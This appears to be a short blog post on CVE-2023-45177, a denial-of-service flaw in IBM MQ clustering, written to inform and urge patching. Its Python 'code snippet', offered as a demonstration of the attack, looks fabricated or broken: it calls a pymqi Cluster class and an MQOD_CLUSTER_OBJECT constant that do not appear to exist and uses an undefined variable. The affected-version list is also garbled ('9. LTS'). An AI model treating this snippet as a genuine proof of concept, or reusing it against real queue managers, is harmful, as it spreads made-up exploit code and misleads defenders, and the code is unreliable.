IBM MQ is a messaging solution that simplifies and accelerates the integration of diverse applications and data across multiple platforms. Recently, a vulnerability (CVE-2023-45177) has been discovered in IBM MQ 9. LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, and 9.3 CD. The vulnerability can lead to a denial-of-service (DoS) attack due to an error within the MQ clustering logic. IBM X-Force ID for this vulnerability is 268066. In this post, we will discuss the details of the vulnerability, a code snippet demonstrating the issue, links to original references, and exploit details.

Vulnerability Details

The vulnerability in IBM MQ is caused by an error in the clustering logic, which can be exploited by an attacker to cause a denial-of-service (DoS) attack. Clustering in MQ allows multiple queue managers within a network to share access to a set of queues. The vulnerability can be triggered when an invalid cluster object is created within the MQ environment.

Code Snippet

Below is a code snippet that demonstrates the vulnerability in action. It shows the creation of an invalid cluster object within the MQ environment, which can potentially lead to a DoS attack:

# Import necessary libraries
import pymqi

# Connecting to the vulnerable queue manager
queue_manager = 'QMGR_NAME'
host = 'HOST_IP'
port = 'HOST_PORT'
conn_info = f"{host}({port})"

queue_name = 'CLUSTER_NAME'

# Creating a invalid cluster object in the MQ environment
cluster_object = pymqi.Cluster(queue_manager, channel, conn_info)

# Creating a messaging object to send data to the invalid object created above
message = 'TEST MESSAGE'
queue = pymqi.Queue(cluster_object)

# Invoke the vulnerability by sending the message to the invalid object
queue.put(message, ObjDesc=pymqi.CMQC.MQOD_CLUSTER_OBJECT)

Original References

1. IBM Security Bulletin: IBM MQ is vulnerable to a denial-of-service attack (CVE-2023-45177)
2. IBM X-Force Vulnerability Page (ID: 268066)
3. National Vulnerability Database (NVD) Entry for CVE-2023-45177

Exploit Details

Although no public exploit exists for this vulnerability, it can be exploited by an attacker with valid credentials for a queue manager in the IBM MQ environment. An attacker who manages to create an invalid cluster object can cause a denial-of-service attack by sending messages to the invalid object, which could eventually crash the affected queue manager.

Mitigation and Remediation

IBM has released patches for the affected versions of IBM MQ to address this vulnerability. To mitigate the risk associated with this vulnerability and to avoid a potential DoS attack, it is recommended that the affected organizations apply the security patches as soon as possible. For more information on the fixes, please refer to IBM’s official security advisory.


CVE-2023-45177 is a denial-of-service vulnerability affecting IBM MQ's clustering logic. Organizations running IBM MQ 9. LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, and 9.3 CD are advised to patch their systems to mitigate the risk associated with the issue. By staying informed and applying security patches promptly, organizations can maintain a secure and resilient MQ environment.


Published on: 03/20/2024 18:15:08 UTC
Last modified on: 03/21/2024 12:58:51 UTC